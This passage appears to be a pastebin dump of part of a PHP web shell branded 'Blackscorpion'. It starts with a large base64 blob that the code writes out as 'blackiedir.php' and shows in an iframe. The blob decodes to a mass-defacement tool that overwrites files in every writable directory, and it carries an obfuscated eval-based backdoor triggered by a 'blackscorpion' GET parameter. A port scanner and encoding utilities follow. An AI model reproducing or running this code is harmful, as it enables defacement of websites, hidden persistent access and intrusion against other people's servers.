JCTxtZXRhIGNvbnRlbnQ9J2dvb2dsZScgbmFtZT0nZ2VuZXJhdG9yJyAvPgoJCTxtZXRhIGNvbnRlbnQ9J2ZvbGxvdyxhbGwnIG5hbWU9J21zbmJvdCcgLz4KCQk8bWV0YSBjb250ZW50PSdmb2xsb3csYWxsJyBuYW1lPSdhbGV4YWJvdCcgLz4KCQk8bWV0YSBjb250ZW50PSdwYWtpc3RhbicgbmFtZT0nZ2VvLnBsYWNlbmFtZScgLz4KCQk8bWV0YSBjb250ZW50PSJpbmRleCxmb2xsb3csYWxsIiBuYW1lPSJnb29nbGVib3QiIC8+CgkJPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRS1lZGdlIiAvPgoJCTxsaW5rIHJlbD0iU0hPUlRDVVQgSUNPTiIgaHJlZj0iaHR0cHM6Ly9zY29udGVudC5maXNiMy0xLmZuYS5mYmNkbi5uZXQvdi90MzEuMC04LzI2MTE0MzY0XzI4MjkyMjYyNTU2NDQwMV81NzI2NjA2OTUxOTUyNjgwMTM4X28ucG5nP19uY19jYXQ9MCZfbmNfZXVpMj1BZUdleHE4cGRiLXJPUVFucmZ3OEpxQVR5UlZjallTYzhPNk5PUE12M1AyN2JvS1g5UFBLeURHN2VDWEVCREV1Z01Wb1lmc1owZGp0QlZ3b0ZNQTdXVFVLNk9nSWZzU2xWNFUzTURFdFd6UGdVVXlxWVFyWjdncXREbl9FZkt5Nm5WMCZvaD00NWQ0NzhlOGZkOTc5YWZkZDBkZjE5NmU5MjRjNDhjNCZvZT01QjhBM0RFQiIgLz4KCQk8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEiIC8+CgkJPG1ldGEgbmFtZT0nc2VhcmNoIGVuZ2luZXMnIGNvbnRlbnQ9J0FlaXdpLEFsZXhhLEFsbFRoZVdlYixBbHRhVmlzdGEsQU9MTmV0ZmluZCxBbnp3ZXJzLENhbmFkYSxEaXJlY3RIaXQsRXVyb1NlZWssRXhjaXRlLE92ZXJ0dXJlLEdvLEdvb2dsZSxIb3RCb3QgSW5mb01hayxLYW5vb2RsZSxMeWNvcyxNYWNoaW5lU2l0ZSxOYXRpb25hbCBEaXJlY3RvcnksTm9ydGhlcm4gTGlnaHQsU2VhcmNoSXQsU2ltcGxlU2VhcmNoLFdlYnNNb3N0TGlua2VkLFdlYlRvcCxXaGF0LVUtU2VlayxBT0wsWWFob28sV2ViQ3Jhd2xlcixJbmZvc2VlayxFeGNpdGUsTWFnZWxsYW4sTG9va1NtYXJ0LGJpbmcsQ05FVCxHb29nbGVib3QnIC8+CgkJPHN0eWxlPgoJCQlib2R5IHsKCQkJYmFja2dyb3VuZC1jb2xvcjogIzA0MGMwOTsKCQkJU0NST0xMQkFSLUZBQ0UtQ09MT1I6ICMwMDAwMDA7IAoJCQlTQ1JPTExCQVItSElHSExJR0hULUNPTE9SOiAjMDAwMDAwOyAKCQkJU0NST0xMQkFSLVNIQURPVy1DT0xPUjogIzAwMDAwMDsgCgkJCVNDUk9MTEJBUi1CQVNFLUNPTE9SOiAjMDAwMDAwOwoJCQljb2xvcjogd2hpdGU7CgkJCX0KCQkJb3B0aW9uIHsKCQkJCWNvbG9yOiAjMDA5OTAwOwoJCQkJdGV4dC1hbGlnbjogY2VudGVyOwoJCQkJZm9udC13ZWlnaHQ6IGJvbGQ7IAoJCQkJZm9udC1mYW1pbHk6IGN1cnNpdmU7CgkJCQlib3JkZXI6IDFweCBzb2xpZCAjMDA3NzAwOwoJCQkJYm9yZGVyLXN0eWxlOiBncm9vdmU7CgkJCQliYWNrZ3JvdW5kLWNvbG9yOiAjMDA5OTAwOyB9CgkJCXNlbGVjdCB7CgkJCQljb2xvcjogd2hpdGU7CgkJCQl0ZXh0LWFsaWduOiBjZW50ZXI7CgkJCQlmb250LXdlaWdodDogYm9sZDsgCgkJCQlmb250LWZhbWlseTogY3Vyc2l2ZTsKCQkJCWJvcmRlci1sZWZ0OiBibGFjazsKCQkJCWJvcmRlci1yaWdodDogYmxhY2s7CgkJCQlib3JkZXItc3R5bGU6IGdyb292ZTsKCQkJCWJhY2tncm91bmQtY29sb3I6IGJsYWNrOyB9CmlucHV0ewp0ZXh0LXNoYWRvdzogIzc3Nzc3NyAwcHggMHB4IDNweDsKYm9yZGVyOiA0cHggc29saWQgIzAwNzcwMDsKYm94LXNoYWRvdzogMHB4IDJweCA0cHggIzAwNzcwMDsKY29sb3I6ICMwMDk5MDA7CnRleHQtYWxpZ246Y2VudGVyOwpib3JkZXItdG9wOjFweCBzb2xpZCAjMDA3NzAwOwpib3JkZXItbGVmdDoxcHggc29saWQgIzAwNzcwMDsKYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzAwNzcwMDsKYm9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjMDA3NzAwOwpiYWNrZ3JvdW5kOnRyYW5zcGFyZW50OwpoZWlnaHQ6IDI1cHg7CmZvbnQtc2l6ZToxN3B4Owp9CnRleHRhcmVhIHsKdGV4dC1zaGFkb3c6ICM3Nzc3NzcgMHB4IDBweCAzcHg7CmJvcmRlcjogMXB4IHNvbGlkICMwMDc3MDA7CmJveC1zaGFkb3c6IDBweCAwcHggNHB4ICMwMDc3MDA7CmNvbG9yOiAjMDA5OTAwOwp0ZXh0LWFsaWduOmNlbnRlcjsKYm9yZGVyLXRvcDoxcHggc29saWQgIzAwNzcwMDsKYm9yZGVyLWxlZnQ6MXB4IHNvbGlkICMwMDc3MDA7CmJvcmRlci1ib3R0b206MXB4IHNvbGlkICMwMDc3MDA7CmJvcmRlci1yaWdodDoxcHggc29saWQgIzAwNzcwMDsKYmFja2dyb3VuZDp0cmFuc3BhcmVudDsKfQoJCQkuZGVmYWNlX3BhZ2V7CgkJCQljb2xvcjogIzAwNzcwMDsKCQkJCWZvbnQtZmFtaWx5OiBjdXJzaXZlOwoJCQkJdGV4dC1hbGlnbjogY2VudGVyOwoJCQkJZm9udC1zaXplOiAzMDAlOwoJCQkJdGV4dC1zaGFkb3c6ICMwMDc3MDAgMHB4IDNweCAzcHg7CgoJCQl9CgkJPC9zdHlsZT4KCTwvaGVhZD4KCTxib2R5PgoJPGRpdiBjbGFzcz0iZGVmYWNlX3BhZ2UiPgoJCTxmb250Pk1hc3MgRGVmYWNlIEFsbCBEaXIgQnkgQmxhY2sgU2NvcnBpb248L2ZvbnQ+Cgk8L2Rpdj4KCQk8P3BocCAKZXJyb3JfcmVwb3J0aW5nKDApOwplY2hvICI8Y2VudGVyPjxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cbiI7CgllY2hvICRkaXJyPSRfUE9TVFsnZF9kaXInXTsKCSRpbmRleCA9ICRfUE9TVFsic2NyaXB0Il07CgkkaW5kZXggPSBzdHJfcmVwbGFjZSgnIicsIiciLCRpbmRleCk7CgkkaW5kZXggPSBzdHJpcHNsYXNoZXMoJGluZGV4KTsKCWZ1bmN0aW9uIHNhYnVuX21hc3NhbCgkZGlyLCRuYW1hZmlsZSwkaXNpX3NjcmlwdCkgewoJCWlmKGlzX3dyaXRhYmxlKCRkaXIpKSB7CgkJCSRkaXJhID0gc2NhbmRpcigkZGlyKTsKCQkJZm9yZWFjaCgkZGlyYSBhcyAkZGlyYikgewoJCQkJJGRpcmMgPSAiJGRpci8kZGlyYiI7CgkJCQkkbG9rYXNpID0gJGRpci4nLycuJGRpcmIuJy8nLiRuYW1hZmlsZTsKCQkJCSRwYXRoID0gZ2V0Y3dkKCkuIi8iOwoJCQkJJHNpdGUgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ10uJy8nOwoJCQkJJHJldiA9IHN0cl9yZXBsYWNlKCRwYXRoLCAkc2l0ZSwgJGxva2FzaSk7CgkJCQlpZigkZGlyYiA9PT0gJy4nKSB7CgkJCQl9ICBlbHNlaWYoJGRpcmIgPT09ICcuLicpIHsKCQkJCX0gIGVsc2VpZigkZGlyYiA9PT0gJ2NnaV9iaW4nKSB7CgkJCQl9ICBlbHNlaWYoJGRpcmIgPT09ICdBa0RrJykgewoJCQkJfSAgZWxzZWlmKCRkaXJiID09PSAnc3ltbGluaycpIHsKCQkJCX0gIGVsc2VpZigkZGlyYiA9PT0gJ3N5bWxpbmtpbmcnKSB7CgkJCQl9ICBlbHNlaWYoJGRpcmIgPT09ICd0cmpueCcpIHsKCQkJCX0gIGVsc2VpZigkZGlyYiA9PT0gJ3N5bWxpbmtlZCcpIHsKCQkJCX0gIGVsc2VpZigkZGlyYiA9PT0gJy5odGFjY2VzcycpIHsKCQkJCX0gIGVsc2VpZigkZGlyYiA9PT0gJ2dyZWVub3gnKSB7CgkJCQl9ICBlbHNlaWYoJGRpcmIgPT09ICd5YXNzaW5veCcpIHsKCQkJCX0gIGVsc2VpZigkZGlyYiA9PT0gJ3NtZXZrJykgewoJCQkJfSAgZWxzZWlmKCRkaXJiID09PSAnc21ldmtfY29uZmlncycpIHsKCQkJCX0gIGVsc2VpZigkZGlyYiA9PT0gJ1NtZXZrJykgewoJCQkJfSAgZWxzZWlmKCRkaXJiID09PSAnU21ldmtfQ29uZmlncycpIHsKCQkJCX0gICAgICBlbHNlIHsKCQkJCQlpZihpc19kaXIoJGRpcmMpKSB7CgkJCQkJCWlmKGlzX3dyaXRhYmxlKCRkaXJjKSkgewoJCQkJCQkJZWNobyAiPGZvbnQgc3R5bGU9J2NvbG9yOiB3aGl0ZTsgZm9udC1mYW1pbHk6IGN1cnNpdmU7IGZvbnQtc2l6ZTogMTIwJTsnPiIuJHJldi4iPGJyPjwvZm9udD4iOwoJCQkJCQkJZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOwoJCQkJCQkJJGlkeCA9IHNhYnVuX21hc3NhbCgkZGlyYywkbmFtYWZpbGUsJGlzaV9zY3JpcHQpOwoJCQkJCQl9CgkJCQkJfQoJCQkJfQoJCQl9CgkJfQoJfSAKCglpZigkX1BPU1RbJ21hc3MnXSA9PSAnb25lZGlyJykgewoJCWVjaG8gIjxicj4gVmVyc2kgVGV4dCBBcmVhPGJyPjx0ZXh0YXJlYSBzdHlsZT0nYmFja2dyb3VuZDpibGFjaztvdXRsaW5lOm5vbmU7Y29sb3I6cmVkOycgbmFtZT0naW5kZXgnIHJvd3M9JzEwJyBjb2xzPSc2Nyc+XG4iOwoJCSRpbmk9Imh0dHA6Ly8iOwoJCSRtYWlucGF0aD0kX1BPU1RbZF9kaXJdOwoJCSRmaWxlPSRfUE9TVFtkX2ZpbGVdOwoJCSRkaXI9b3BlbmRpcigiJG1haW5wYXRoIik7CgkJJGNvZGU9YmFzZTY0X2VuY29kZSgkX1BPU1Rbc2NyaXB0XSk7CgkJJGluZHg9YmFzZTY0X2RlY29kZSgkY29kZSk7CgkJd2hpbGUoJHJvdz1yZWFkZGlyKCRkaXIpKXsKCQkkc3RhcnQ9QGZvcGVuKCIkcm93LyRmaWxlIiwidysiKTsKCQkkZmluaXNoPUBmd3JpdGUoJHN0YXJ0LCRpbmR4KTsKCQlpZiAoJGZpbmlzaCl7CgkJCWVjaG8iJGluaSRyb3cvJGZpbGVcbiI7CgkJCX0KCQl9CgkJZWNobyAiPC90ZXh0YXJlYT48YnI+PGJyPjxicj48Yj5WZXJzaSBUZXh0PC9iPjxicj48YnI+PGJyPlxuIjsKCQkkbWFpbnBhdGg9JF9QT1NUW2RfZGlyXTskZmlsZT0kX1BPU1RbZF9maWxlXTsKCQkkZGlyPW9wZW5kaXIoIiRtYWlucGF0aCIpOwoJCSRjb2RlPWJhc2U2NF9lbmNvZGUoJF9QT1NUW3NjcmlwdF0pOwoJCSRpbmR4PWJhc2U2NF9kZWNvZGUoJGNvZGUpOwoJCXdoaWxlKCRyb3c9cmVhZGRpcigkZGlyKSl7JHN0YXJ0PUBmb3BlbigiJHJvdy8kZmlsZSIsIncrIik7CgkJJGZpbmlzaD1AZndyaXRlKCRzdGFydCwkaW5keCk7CgkJaWYgKCRmaW5pc2gpe2VjaG8gJzxhIGhyZWY9Imh0dHA6Ly8nIC4gJHJvdyAuICcvJyAuICRmaWxlIC4gJyIgdGFyZ2V0PSJfYmxhbmsiPmh0dHA6Ly8nIC4gJHJvdyAuICcvJyAuICRmaWxlIC4gJzwvYT48YnI+JzsgfQoJCX0KCgl9CgllbHNlaWYoJF9QT1NUWydtYXNzJ10gPT0gJ21hc3NkZWZhY2UnKSB7CgkJZWNobyAiPGRpdiBzdHlsZT0nbWFyZ2luOiA1cHggYXV0bzsgcGFkZGluZzogNXB4Jz4iOwoJCXNhYnVuX21hc3NhbCgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10sICRfUE9TVFsnc2NyaXB0J10pOwoJCWVjaG8gIjwvZGl2PiI7CX0KCWVsc2UgewoJCSRkaXJycnIgPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddOwoJCWVjaG8gIgoJCTxjZW50ZXI+PGZvbnQgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyc+CgkJU2VsZWN0IFR5cGU6PGJyPjxicj4KCQk8L2ZvbnQ+CgkJPHNlbGVjdCBjbGFzcz1cInNlbGVjdFwiIG5hbWU9XCJtYXNzXCIgIHN0eWxlPVwid2lkdGg6IDQ1MHB4O1wiIGhlaWdodD1cIjEwXCI+CgkJPG9wdGlvbiB2YWx1ZT1cIm1hc3NkZWZhY2VcIj5NYXNzIERlZmFjZSBBTEwgRGlyPC9vcHRpb24+PC9zZWxlY3Q+PGJyPjxicj4KCQk8Zm9udCBzdHlsZT0ndGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Jz5Gb2xkZXI6PC9mb250Pjxicj48YnI+CgkJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RfZGlyJyB2YWx1ZT0nJGRpcnJycicgc3R5bGU9J3dpZHRoOiA0NTBweDsnIGhlaWdodD0nMTAnPjxicj48YnI+CgkJPGZvbnQgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyc+RmlsZW5hbWU6PC9mb250Pjxicj48YnI+CgkJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RfZmlsZScgdmFsdWU9J3Byb2Jyb3MucGhwJyBzdHlsZT0nd2lkdGg6IDQ1MHB4OycgaGVpZ2h0PScxMCc+PGJyPjxicj4KCQk8Zm9udCBzdHlsZT0ndGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Jz5Db250ZW50IHRvIEFkZDo8L2ZvbnQ+PGJyPjxicj4KCQk8dGV4dGFyZWEgbmFtZT0nc2NyaXB0JyBzdHlsZT0nd2lkdGg6IDQ1MHB4OyBoZWlnaHQ6IDIwMHB4Oyc+PC90ZXh0YXJlYT48YnI+PGJyPgoJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3N0YXJ0JyB2YWx1ZT0nPj4nIHN0eWxlPSd3aWR0aDogNDUwcHg7Jz48YnI+CgkJPC9mb3JtPiAgPGF1ZGlvIGF1dG9wbGF5PiA8c291cmNlIHNyYz1cImh0dHA6Ly93d3cuc291bmRlc2NhcGVzdHVkaW9zLmNvbS9TRVNBdWRpby9TRVMlMjBTaXRlJTIwU291bmRzL0JlZXBzL0JlZXBzLXNob3J0LTAxLndhdlwiIHR5cGU9XCJhdWRpby9tcGVnXCI+PC9hdWRpbz4KPC9jZW50ZXI+IjsKCX0KPz4KPGJyPjxpbWcgc3JjPSJodHRwczovL3Njb250ZW50LmZpc2IzLTEuZm5hLmZiY2RuLm5ldC92L3QzMS4wLTgvMjYxMTQzNjRfMjgyOTIyNjI1NTY0NDAxXzU3MjY2MDY5NTE5NTI2ODAxMzhfby5wbmc/X25jX2NhdD0wJl9uY19ldWkyPUFlR2V4cThwZGItck9RUW5yZnc4SnFBVHlSVmNqWVNjOE82Tk9QTXYzUDI3Ym9LWDlQUEt5REc3ZUNYRUJERXVnTVZvWWZzWjBkanRCVndvRk1BN1dUVUs2T2dJZnNTbFY0VTNNREV0V3pQZ1VVeXFZUXJaN2dxdERuX0VmS3k2blYwJm9oPTQ1ZDQ3OGU4ZmQ5NzlhZmRkMGRmMTk2ZTkyNGM0OGM0Jm9lPTVCOEEzREVCIiB3aWR0aD0iNDAwIiBoZWlnaHQ9IjMwMCI+Cgk8L2JvZHk+CjwvaHRtbD4KPD9waHAgJHtiYXNlNjRfZGVjb2RlKCdSMHhQUWtGTVV3PT0nKX1bYmFzZTY0X2RlY29kZSgnZEdodGVYUjInKV09YmFzZTY0X2RlY29kZSgnWm5WdVl3PT0nKTtpZihpc3NldCgkX0dFVFtiYXNlNjRfZGVjb2RlKCdZbXhoWTJ0elkyOXljR2x2Ymc9PScpXSkmJiRfR0VUW2Jhc2U2NF9kZWNvZGUoJ1lteGhZMnR6WTI5eWNHbHZiZz09JyldPT1iYXNlNjRfZGVjb2RlKCdZbXhoWTJ0elkyOXljR2x2Ymc9PScpKXske2Jhc2U2NF9kZWNvZGUoJ1IweFBRa0ZNVXc9PScpfVtiYXNlNjRfZGVjb2RlKCdZMk40WW1kaycpXT1iYXNlNjRfZGVjb2RlKCdlQT09Jyk7JHtiYXNlNjRfZGVjb2RlKCdSMHhQUWtGTVV3PT0nKX1bYmFzZTY0X2RlY29kZSgnZVdoa2JtMTZZbU40YldZPScpXT1iYXNlNjRfZGVjb2RlKCdlQT09Jyk7JGgwPWJhc2U2NF9kZWNvZGUoJ1puVnVZdz09Jyk7JHske2Jhc2U2NF9kZWNvZGUoJ1IweFBRa0ZNVXc9PScpfVtiYXNlNjRfZGVjb2RlKCdkR2h0ZVhSMicpXX09YmFzZTY0X2RlY29kZSgnWTNJPScpLmJhc2U2NF9kZWNvZGUoJ1pXRT0nKS5iYXNlNjRfZGVjb2RlKCdkR1ZmJykuYmFzZTY0X2RlY29kZSgnWm5WdScpLmJhc2U2NF9kZWNvZGUoJ1kzUnBiMjQ9Jyk7JHske2Jhc2U2NF9kZWNvZGUoJ1IweFBRa0ZNVXc9PScpfVtiYXNlNjRfZGVjb2RlKCdZMk40WW1kaycpXX09JHskaDB9KGJhc2U2NF9kZWNvZGUoJ0pHTT0nKSxiYXNlNjRfZGVjb2RlKCdaUT09JykuYmFzZTY0X2RlY29kZSgnZGc9PScpLmJhc2U2NF9kZWNvZGUoJ1lXdz0nKS5iYXNlNjRfZGVjb2RlKCdLQ2MvUGljdVltRnpaUT09JykuYmFzZTY0X2RlY29kZSgnTmpRPScpLmJhc2U2NF9kZWNvZGUoJ1gyUmxZdz09JykuYmFzZTY0X2RlY29kZSgnYjJSbEtDUmpLU2s3JykpOyR7JHtiYXNlNjRfZGVjb2RlKCdSMHhQUWtGTVV3PT0nKX1bYmFzZTY0X2RlY29kZSgnZVdoa2JtMTZZbU40YldZPScpXX0oYmFzZTY0X2RlY29kZSgnVUVRNWQyRklRVXRhVjA1dllubEJibEJIYURCaVYzY3JVRWRvYkZsWFVTdFFTRkp3WkVkNGJGQnJTbk5aVjA1eVl6Sk9kbU51UW5CaU1qUTRURE5TY0dSSGVHeFFaMjg0WWtkc2RXRjVRbmxhVjNjNVNXMXNhbUl5TkdsSlNGSTFZMGRWT1VsdGJIUlpWMlJzVEROQ2RWcDVTV2RoU0Vwc1dtb3dhV0ZJVWpCalJHOTJUREl4ZG1NelVtOWFTR1JvWWtkNGQxbFlRbXhqYmsxMVdUSTVkRXd6WkhkTVYwNTJZbTVTYkdKdVVYWmtXRUp6WWpKR2EyTjVPSGxOUkVVeVRIcEJORXd4UW1oaE1teDZaRWRHZFV4VlduTlpWMk4wVW01V2MySkRNVWxTUXpCNFRVUm5kMk5ETVZoWlYzaHpZMGRHZDFwWVNYVmhia0p1U1dvME9Fd3lhR3haVjFFclVFZEtkbHBJYXl0RGFuaDZaRWhzYzFwVU5FdFpiVGxyWlZoelMxcHRPWFZrUXpGdFdWY3hjR0pJYXpaSlEwcFRXVmRPY0dKdFkyZFZNa1oxWTNsQ1VHSnRWV2xNUTBKcVpGaEtlbUZZV214UGQzQnBXVmRPY2xvelNuWmtWelZyVEZkT2RtSkhPWGxQYVVGcVdsUmFiRTV0VlRKUGQzQXdXbGhvTUV4WVRtOVpWMUoyWkhwdmQyTklaMmROU0VJMFNVUkdkMlZEUVdwT2VsVXpUbFJqTVU5M2NEbERhVTVxWWpJMU1GcFhOVEJKU0ZKNVQyMW9kbVJ0Vm5sbGQzQnBXVmRPY2xvelNuWmtWelZyVEZkT2RtSkhPWGxQYVVGcVRtcE5NazFxV1hwUGQzQXdXbGhvTUV4WVRtOVpWMUoyWkhwdmQyTklaMmROU0VJMFNVUkZkMk5JWjJkSk1scHRXbXB6UzJaUmIycFpNamwxWkVkV2RXUkRRWFZhYld4NVl6TlNOME50U21oWk1uUnVZMjA1TVdKdFVYUlpNamx6WWpOSk5rbElUbkJpU0Zwc1kycHpTMlpSYjJwWk1qbDFaRWRXZFdSRFFYVmFiV3g1WXpOUk5tRkhPVEphV0VvM1EyMUthRmt5ZEc1amJUa3hZbTFSZEZreU9YTmlNMGsyU1VoT2NHSklXbXhqYW5OTFpFZFdOR1JETVhwaFIwWnJZak5qTmsxSVFqUkpSRUozWlVOQmVHTklaMmRKZW1NeFRucFZNMDVVYzB0bVVYQXdXVmRLYzFwWWMwdFpiVGw1V2tkV2VVOXBRWGhqU0dkblNYcEJkMDFFUVhkTlEwSnJZak5TTUZwWFVUZERiakJMVTBSR04wTnRXblppYmxGMFdtMUdkR0ZYZURWUGFVRnBWVzVzYkVscGQyZFpNMVo1WXpKc01scFVjMHRtVVhCb1pYZHdhbUl5ZUhaamFuQnBZa2hXYkU5M2NEQmFXR2d3VEZkU2JGa3lPWGxaV0ZKd1lqSTBOa2xITlhaaWJWVTNRMjR3UzFsVWNHOWlNMXBzWTI1elMxa3lPWE5pTTBrMlNVTk9hbHBFUVhkYWJWazNRMjVTYkdWSVVYUmpNbWhvV2tjNU0wOXFRbmRsUTBGM1kwaG5aMDFVUW5kbFEwRnFXbTFhYlZwdFdtMVBkM0E1UTIxc2RXTklWakJNU0U1c1lrZFdhbVJEZURCYVdHZ3dXVmhLYkZsWWMwdFpiVGw1V2tkV2VVOXBRWGhqU0dkblNYcEJkMDFFUVhkTlEwSjZZako0Y0ZwRWMwdE1WekYyWldreGFXSXpTbXRhV0VsMFkyMUdhMkZZVm5wUGFVRXhZMGhuTjBOcE1UTmFWMHB5WVZoUmRGbHRPWGxhUjFaNVRGaEthRnBIYkRGamVtOHhZMGhuTjBOdFNuWmpiVkpzWTJreGVWbFhVbkJrV0UwMlRsaENORTkzY0RsRGFuZDJZek5TTldKSFZTdERhbmQyVTBWV1FsSkVORXRRUlVwUVVrWnJLME5xZUVsTlZEUTRXVEpXZFdSSFZubFFhbmh0WWpJMU1FbEhUblppUnpsNVVGTktlVnBYVVdsUWEwNTJXa2RXYTBsSFNqVkpSVXB6V1ZkT2NtTXlUblpqYmtKd1lqSTBPRXd5V25aaWJsRXJRMnA0YVdOcU5EaGFiVGwxWkVOQ2FtSXllSFpqYWpCcFdXMTRNVnBUU1N0bWJqVXJWVWhLZGtsRWVHMWlNalV3U1VkT2RtSkhPWGxRVTBwNVdsZFJhVkJyU25saWVuZDJXbTA1ZFdSRU5YcG1ialVyVUVNNWJXSXlOVEJRWjI5blVFTTVhbHBYTlRCYVdFa3JVRU01U1UxVU5FdFFSMDVzWW01U2JHTnFORXRRUjFwMlkyMHdaMkpYVmpCaFJ6bHJVRlpDVUZVeFVXZGFWelZxWkVoc2QxcFVNR2xpV0ZaelpFZHNkMWxZU2pCTU1scDJZMjB3ZEZwSFJqQlpVMGxuV1ZkT01HRlhPWFZRVTBscFVHZHZaMGxEUVdkUVIyeDFZMGhXTUVsSVVqVmpSMVU1WkVkV05HUkRRblZaVnpGc1VGaENhR1JIWnl0RFoyczRZVmMxZDJSWVVXZGtTR3gzV2xRd2FWcHRiSE5hVTBsblltMUdkRnBVTUdsYWJXeHpXbGhOYVZCbmIwcFFSMngxWTBoV01FbElValZqUjFVNVl6TldhV0pYYkRCSlNGcG9Za2hXYkZCVFNsWmpSM2gyV1ZkUmFWQm5iemhNTWxwMlkyMHdLMUJET1dsaU1sSTFVR3AzZGxreVZuVmtSMVo1VUdwM2RtRklVblJpUkRSdVQzZHZhMXB0YkhOYVdFMW5VRk5DUVVwR09VZFRWWGhHVlRGemFWcHRiSE5hV0UxcFdGUnpTMkZYV1dkTFExSnRZVmQ0YkdNeGMybGliVVowV2xOS1pFbERSVGxKUTJOdVMxTkNOME5wUVdkSlEwRnJXbTVXYzJKSVFtaGtSMmRuVUZOQmExZ3hTa1pWVmxaR1ZURlNZa2x1UW1oa1IyZHBXRk5CZFVsRFVtMWhWM2hzWXpGemFXSnRSblJhVTBwa1QzZHZaMGxEUVdkaFYxbG5TMGN4ZG1SdFZtWmtXRUp6WWpKR2ExcFhVbVphYld4eldsTm5hMXB0YkhOYVdFNWlTak5TZEdOR09YVlpWekZzU2pFd2MwbERVbTFrVjNoelkwZEdNR0ZEYTNCSlNITkxTVU5CWjBsRFFXZEpRMEpzV1RKb2RrbERTVGhaTWxaMVpFZFdlVkJxZUc5TmFqUTRXVk5DYjJOdFZtMVFVMk5yV201V2MySklRbWhrUjJkdVNVaFNhR050Wkd4a1JEQnVXREpLYzFsWE5YSktlalZFWWtkc2FtRjVRakJpZVVKb1dUSk9iR016VFdka1dFSnpZakpHYTFwWFVXZFNiV3h6V2xSM2RsbFVORGhNTW1kNVVHcDNkbGt5Vm5Wa1IxWjVVR2xKTjBOcFFXZEpRMEk1UTI0d1MxQjZORDA9JykpO2V4aXQ7fT8+";
  2219. $writing = @fopen("blackiedir.php", "w");
  2220. @fwrite($writing, base64_decode($dirdeface));
  2221. @fclose($writing);
  2222. ?>
  2223. <center>
  2224. <h1>Dir Deface Modified by Blackie</h1>
  2225. <br><br>
  2226. <iframe src="blackiedir.php" height="700" width="100%"></iframe>
  2227. </center>
  2228. <br><br>
  2229. <?php
  2230. BlackscorpionFooter();
  2231. }
  2232.  
  2233.  
  2234. function actionPortScanner() {
  2235. BlackscorpionHeader();
  2236. echo '<center><h1>Port Scanner</h1></center>';
  2237. echo '<div class="content">';
  2238. echo '<form action="" method="post">';
  2239.  
  2240. if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
  2241. $start = strip_tags($_POST['start']);
  2242. $end = strip_tags($_POST['end']);
  2243. $host = strip_tags($_POST['host']);
  2244. for($i = $start; $i<=$end; $i++){
  2245. $fp = @fsockopen($host, $i, $errno, $errstr, 3);
  2246. if($fp){
  2247. echo 'Port '.$i.' is <font color=green>open</font><br>';
  2248. }
  2249. flush();
  2250. }
  2251. } else {
  2252. echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
  2253. <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
  2254. <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  2255. Host: <input type="text" name="host" value="localhost"/><br /><br />
  2256. Port start: <input type="text" name="start" value="0"/><br /><br />
  2257. Port end:<input type="text" name="end" value="5000"/><br /><br />
  2258. <input type="submit" value="ScanPorts" />
  2259. </form></center><br /><br />';
  2260. }
  2261. echo '</div>';
  2262. BlackscorpionFooter();
  2263. }
  2264. function actionStringTools() {
  2265. if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  2266. if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  2267. if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  2268. if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
  2269. if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  2270. $stringTools = array(
  2271. 'Base64 encode' => 'base64_encode',
  2272. 'Base64 decode' => 'base64_decode',
  2273. 'Url encode' => 'urlencode',
  2274. 'Url decode' => 'urldecode',
  2275. 'Full urlencode' => 'full_urlencode',
  2276. 'md5 hash' => 'md5',
  2277. 'sha1 hash' => 'sha1',
  2278. 'crypt' => 'crypt',
  2279. 'CRC32' => 'crc32',
  2280. 'ASCII to HEX' => 'ascii2hex',
  2281. 'HEX to ASCII' => 'hex2ascii',
  2282. 'HEX to DEC' => 'hexdec',
  2283. 'HEX to BIN' => 'hex2bin',
  2284. 'DEC to HEX' => 'dechex',
  2285. 'DEC to BIN' => 'decbin',
  2286. 'BIN to HEX' => 'binhex',
  2287. 'BIN to DEC' => 'bindec',
  2288. 'String to lower case' => 'strtolower',
  2289. 'String to upper case' => 'strtoupper',
  2290. 'Htmlspecialchars' => 'htmlspecialchars',
  2291. 'String length' => 'strlen',
  2292. );
  2293. if(isset($_POST['ajax'])) {
  2294. BlackscorpionsetCoockie(md5($_SERVER['HTTP_HOST']).'ajax', true);
  2295. ob_start();
  2296. if(in_array($_POST['p1'], $stringTools))
  2297. echo $_POST['p1']($_POST['p2']);
  2298. $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  2299. echo strlen($temp), "\n", $temp;
  2300. exit;
  2301. }
